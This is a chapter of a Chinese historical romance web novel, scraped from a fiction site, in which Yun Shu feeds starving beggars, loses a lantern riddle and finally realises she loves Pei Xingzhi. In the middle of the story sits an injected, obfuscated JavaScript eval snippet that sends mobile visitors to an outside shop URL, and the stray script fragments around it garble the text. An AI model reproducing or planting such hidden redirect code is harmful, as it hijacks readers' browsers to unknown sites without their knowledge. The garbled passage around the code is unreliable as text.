文趣网 > 其他小说 > 他太凶了,我怕! > 25. 情
    最终,云舒还是“病恹恹”地给裴行之开了门,一开门就见着裴行之一张半含着笑的脸,他薄唇轻启:“舍得出来了?”

    云舒定定望着他,脸上的表情很是不情愿,她“嗯”了声,问:“你不是说要带我去城南的胭脂铺吗?还作数吗?”

    裴行之见她这幅和阴郁小蘑菇一样的表情,失笑片刻,随后立刻调整了情绪。

    “当然,我何时骗你了。”

    骗得可多了,云舒默默吐槽。

    也就这会儿还是早上,裴行之还能匀出些时间陪她“胡闹”,但到了晌午后,整个军队就都要忙碌起来了。草原上的敌人蠢蠢欲动,作为第一道防线的原城中的军队,就要随时奉命。

    这会儿街上正卖着热乎乎的包子,热气腾腾地朝赶早市的人流中冒。

    对于买胭脂这些事,云舒还是很积极的。

    听闻原城盛产红蓝花,做出来的胭脂可美了,与京城的很是不同。据说啊,那胭脂抹在面上,衬得人皮肤白皙,似四月桃夭。

    云舒本就计划着在做完婆母吩咐的事儿后,就要来原城的胭脂铺瞧一瞧。但“创业未半,中道崩殂”,他们被个自称“侠盗”的公子给劫持了。

    这么说来,这一路上也是颇为不顺。

    云舒一点一点挤出了人群,她朝着裴行之招手:“往这里走!”

    裴行之远远望见了她,略显无奈。

    如今的阿卷就充满了活力,可比之前鲜活多了。

    裴行之慢慢朝着她的方向走过去,却发现她朝着一个方向看去,表情怔愣。

    阿卷盯着的地方是一道狭窄的小巷口,与外界热闹的早市相比,小巷口就显得阴冷多了,仿佛这里终日见不到太阳一样。

    那里,正卧着几个蓬头垢面的人。

    这里头,大多是老少,地上就铺了层黄草,他们随意地坐着,眼神暗淡无光。

    有路过的行人掉了半个馒头在地上,这些人就如同饿狼一般扑到地上去抢食。

    最终,是个年纪看着五六岁的小乞丐抢到了。小乞丐手段狠,见着要和她抢吃的人,就用牙狠狠咬他们。

    惹得周围的乞丐都不敢再争了。

    她心满意足地嚼下了那半个包子,在寒风中她的肚子也暖呼呼的。

    但小乞丐在发现有一道目光朝她这儿投射来时,她一抬眼,就看见了个穿着干净、美丽的姑娘。

    她不屑地朝姑娘呲牙,眼里尽是仇视。

    云舒觉得这个小乞丐像一只狗,一匹狼,全然没有小孩的童真,她打人看着也很痛。

    心中的怜悯被警觉给代替,她腾地一下躲到了裴行之身后。

    裴行之说:“这才是真正的乞丐,他们的手指头中全是泥,头发中生了虱子,牙是黄的,脸是黑的。”

    “他们不要银子,只想吃饱。”

    吃饱,也是个很难的愿望吗?

    云舒脸上带了些茫然,于是这话也脱口而出。

    “当然,每年汛期都有地方遭水灾,也有地方干旱,草木不生。而不同地方的土壤不同,有肥有瘠,稍有天气变幻,一年就白做。”

    “而这些吃不饱饭的人,大多也可能在冬天冻死,你知道为什么吗?”

    “为了吃饭,他们可能会变卖家里值钱的东西,首饰,瓷器,棉衣。”

    裴行之顿了一下,又问云舒:“你知道两脚羊吗?”

    “我行军到一处城,曾经见过有人将人架在火上烤,然后一个村的人将其分食。”

    云舒紧紧掐着裴行之的衣服,颤抖着手从钱袋子中摸出了更多的银子,这些本来是她留着买胭脂的银子。

    她对裴行之说:“这些银子够他们吃饱饭吗?这回,他们不是骗子了,对吗?”

    裴行之看着她笨笨拙拙的动作,轻轻叹了口气。

    这些钱,肯定够这一群“乞丐”吃饱饭,但能够所有“乞丐”吃得饱饭吗?

    答案是不能。

    “其实这些很常见。京城中,也常有乞丐出没。如果哪一天,没有乞丐了,那才叫稀奇。”

    裴行之再度把云舒的银两递回了她的手上:“所以,你一个人是救不了所有人的,知道吗?”

    裴行之说这句话时,几乎是不带思索的。

    “不行,我心不安。”

    云舒知道自己过得很滋润。在她还在娘亲腹中时,娘亲为她留下了凤凰钗,父亲为她打了长命锁,她在殷殷期盼中呱呱落地。

    她感受过娘亲温暖的抚摸,也牵过兄长的手一起走过云府的长廊。

    而他们呢?只有一席铺地的黄草。

    云舒捏着钱袋,两蹙弯弯的眉微微皱着。她与那些人空洞的眼神对视上时,就好像在与尸体对视。

    既然裴行之说他们渴望吃饱,那她就去买很多很多个馒头给他们,至少这一刻他们感受过“饱”是什么感觉。

    这么想着,云舒就小跑到包子铺那儿去了。

    裴行之看着她无所顾忌的动作,张了张嘴,最后只是静静望着她。

    他爱上的姑娘,心善,柔软,天真,倔强。

    云舒和卖包子的大娘打商量,她想买下这儿所有的包子。

    大娘头一次接这样大的单子,喜笑颜开,还主动给云舒减了一些银子,云舒没同意,只是恳请大娘把这些包子递给那巷口边的乞儿。

    大娘还是头一次见这样的姑娘,她劝云舒:“姑娘呀,这施恩得亲自施,别人才记住你的恩情。”

    云舒摇了摇头,她额外又让大娘装了几个包子在油纸中,拿到这几个白面包子后,她朝裴行之的方向跑过来。

    云舒的衣角斜飞,像是一只翩翩起舞的蝴蝶。

    她和裴行之站在一旁看见大娘把一个又一个热乎乎的包子递给乞丐们,云舒松了口气。

    这样做,似乎会减轻些她心里的负罪感。

    她捏了捏空扁的钱袋,转身把手中的一个油纸给了裴行之:“吃包子吗?”

    云舒自己也从油纸里拿出了个白面包子,轻轻呼了口热气,咬了一口:“嗯……吃起来,甜甜的,还不错。”

    裴行之道了声谢,也吃了一个包子。

    两个人静静蹲在巷子边,一派岁月静好。

    “再绕一条巷子就到胭脂铺了。”

    “不去了,我没钱啦。”

    “你想买什么,我给你买。”

    油纸里的包子吃完了,云舒就捻捻手,站了起来,甜甜地笑:“真的吗?你也太好了吧。”

    “君无戏言。”

    云舒也只是想听个回答,但她想买胭脂细粉的心思早就在今早歇了大半,她轻“哼”一声:“我才不要。”

    “那你想要什么?”

    “我想要天上的星星,水中的月亮,想要太阳从西边升起再从东边落下。”

    那就是不可得之物了。

    裴行之轻“嘶”一声,只觉得这个姑娘真是“贪心”。要的都是普通人终其一生也寻不到的宝物。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944924|211034||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    他说:“你好贪心,要这世上独一无二的东西。”

    云舒眨眨眼:“我知道你寻不到。”

    云舒也只是随便一说,她喜欢这些东西,哪怕不能独有,但抬头就可望见漂亮的它们。

    她只是想要一个态度,但“贪心”这个词不好。

    她拍拍裙摆上的灰,正要离开,她想对裴行之说,今日就此作罢,却听到裴行之说了下半句:“不过贪心没什么不好的,你应当再贪心一些。”

    云舒呼吸一滞,她像是定在了原地。不知道为什么,就这一句话,让她处处都回不过神。

    她不敢回头,费了很大的劲儿才转过身去。

    少女的声音轻盈,带着些结巴:“你……你这个人……真让人讨厌。”

    “我想去猜灯谜,你要陪我去吗?”

    云舒忐忑地望着裴行之。

    今早的时间本就都留给了眼前的姑娘,裴行之应了声好。

    城南胭脂铺空前绝后,铺子前便是一大空地的灯谜。

    铺子里挤满了姑娘,而猜灯谜那处却寥寥几人。

    云舒看中了个兔子灯,她看见灯谜上写——

    来时不问路,去时不打招呼。种下去的是一个人,长出来的是两个人。拔不掉,烧不尽,风吹又生,打一字。

    她想了许久,拔不掉,烧不尽,风吹又生,不就是野草吗?

    她不确定地和猜灯谜旁的小店家说:“是草吗?”

    小店家“嘿嘿”笑了声,说:“不对!一人一次机会!”

    云舒睁大了眼,依依不舍地望着兔子灯,叹了口气,她与兔子灯无缘。

    站在身后的裴行之轻轻笑了声,双手负在身后,小店家问:“这位公子是有答案了吗?”

    裴行之正要说话,这时,人群里就来了几个士兵,士兵扣着早上那个装瘸子的老妇人,其中一个人凑到裴行之身边嘀咕了几句,裴行之立刻变了神色。

    他对云舒说:“我有些事要做,不用等我了。”

    云舒“哎”了声,伸手去抓裴行之,可他走得匆匆,云舒手中只掠过些布料。

    她见着男人渐渐走远,渐渐低下了头。

    如今这灯谜也无甚意思,云舒在这儿站了一会儿,失魂落魄地走回了客栈。

    她路过了原城的大门,发现早上还重重士兵把守的地界,如今只留一人站哨,看见某一处开了个施粥堂,粥很稀,还混着石头,可队伍却浩浩荡荡。

    云舒也走过了原城的相会桥,她没精打采地回了屋,蒙头就是闭眼,连午膳也没吃,不知不觉就睡到了晚上。

    也不知是什么时辰,云舒醒了过来。她有些渴了,房中水也干了。便踮着脚想出去请小二斟壶清茶。

    她正迷朦着揉了下眼,开了门,却发现门的右边正闪着盈盈的光。

    再一抬眼瞧,那是一盏兔子灯。

    她望着那盏灯,一瞬间,脑子清醒了许多。

    她提着灯,又念出了其上的灯谜语——“来时不问路,去时不打招呼。种下去的是一个人,长出来的是两个人。拔不掉,烧不尽,风吹又生,打一字。”

    是情。

    她像是终于意识到些什么,恍恍惚惚间心口像开了一扇门。

    她记起了许多发生过的事。

    最后,那灯就和烫手一样的,云舒的手心烧得慌,她悲伤地哭了出来。

    此时此刻,她不得不承认,她喜欢裴行之,喜欢一个心有所属的人!